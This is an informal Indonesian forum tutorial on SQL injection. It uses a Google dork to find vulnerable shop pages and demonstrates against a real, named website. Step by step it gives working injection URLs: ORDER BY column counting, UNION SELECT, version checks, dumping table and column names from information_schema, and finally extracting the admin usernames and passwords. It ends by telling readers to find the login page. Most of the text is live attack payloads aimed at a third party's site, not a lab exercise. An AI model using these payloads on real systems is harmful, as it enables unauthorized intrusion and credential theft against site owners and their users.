hy all wa mw bagi ilmu dikit nich tentang SQL Injection,,,
hihihi,,,,(sory wat magnet comunity lama ya nunggunya>>>???)
jika kk2 belum tau ap itu SQLI saya sarankan untuk browsing dan mencari tahu.....
ok kita mulai saja...
seperti biasa mencari target dengan dork....(pasti tau kan dork tu ap??)
allinurl:shop.php?id= <<<<(tu nmax dork ntar msukan ke google)
masukan dork ke google dan google akan banyak menampilkan target dari dork kita....
buka 1/1 web2 yg di hasilkan google...
masukan tanda petik di akhir link ( ' )
http://www.downtowncrossing.org/shop/shop.php?id=103
tu target nya coba masukan petik akan error
http://www.downtowncrossing.org/shop/shop.php?id=103%27
ad bacaan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
(berarti dalam web tersebut ad bugnya)
ok kita mulai proses injectionnya....
1:hitung jumlah table dengan syntax order by
http://www.downtowncrossing.org/shop/shop.php?id=-103+order+by+1-- <<
http://www.downtowncrossing.org/shop/shop.php?id=-103+order+by+2-- <<
http://www.downtowncrossing.org/shop/shop.php?id=-103+order+by+3-- <<
http://www.downtowncrossing.org/shop/shop.php?id=-103+order+by+4-- <<
http://www.downtowncrossing.org/shop/shop.php?id=-103+order+by+5-- <<< wah tu langsung berubah tampilanya alias ERROR,,,
berarti jumlah table 4,,
tanya:knpa bisa 4????
jawab:ya karena di 5 sudah error gan!!!
2.keluarkan magic number dengan syntax
union select
http://www.downtowncrossing.org/shop/shop.php?id=-103+union+select+1%2C2%2C3%2C4-- keluar kan angka 2,,,(disitu kita akan memasukan syntax2 yg berbahaya)
tanya:loch kenapa di belakang union+select cuma sampe 4???
jawab:karena tadi kita hitung jumlah tablenya 5 dah error berarti 4.tanda -- untk mengakhiri syntax,
3.cek versi dengan syntax
@@version <muncul versi 5.0.81-log berarti versi 5 klo gtu lanjut tapi klo tmn2 dapat versi 4 tinggalkan aj dan cari target versi 5...
4.Melihat nama2 table dalam database dengan syntax
group_concat(table_name) <<<+from+information_schema.tables-- <<<menjadi
http://www.downtowncrossing.org/shop/shop.php?id=-103+union+select+1%2Cgroup_concat%28table_name%29%2C3%2C4+from+information_schema.tables-- <<keliatan tu ad table admin...
5.ni dia langkah terumit..... siap2 aj kebingungan...hihiihihih
skrg kita keluarkan column yg ad nama table..(untuk web skrg kita ambil table admin)
group_concat(column_name) <<+from+information_schema.columns+where+table_name=(0x nama table dalam hex)-- <<<< masukan di angka terakhir,
menjadi
http://www.downtowncrossing.org/shop/shop.php?id=-103+union+select+1%2Cgroup_concat%28column_name%29%2C3%2C4+from+information_schema.columns+where+table_name%3D0x61646d696e--
keluar kan colun2 yang ad di table admin.>?hihiihi
user_id,username,password tu nma2 columnnya.
tanya:ap maksudnya 0x61646d696e-- ???
jawab:0x setau saya tu dah emg harus di pke di belakang tanda =
61646d696e tu hexa dari admin
coba buka ini buat convertnya
http://centricle.com/tools/ascii-hex/
ok skrg kita dah mencapai langkah yg lumayan mudah yaitu mengeluarkan isi dai column dengan syntax
group_concat(0x3a,username,0x3a,passwod) <<+from+admin-- <<menjadi
http://www.downtowncrossing.org/shop/shop.php?id=-103+union+select+1%2Cgroup_concat%280x3a%2Cusername%2C0x3a%2Cpassword%29%2C3%2C4+from+admin--
dan keluar user beserta passwordnya...
tinggal cari tmpt login,...
sekian dlo...
klo ad yg salah mohon protes ya...
soalnya saya jga masih newbie ...
hehehehe
GOOD LUCK
GBU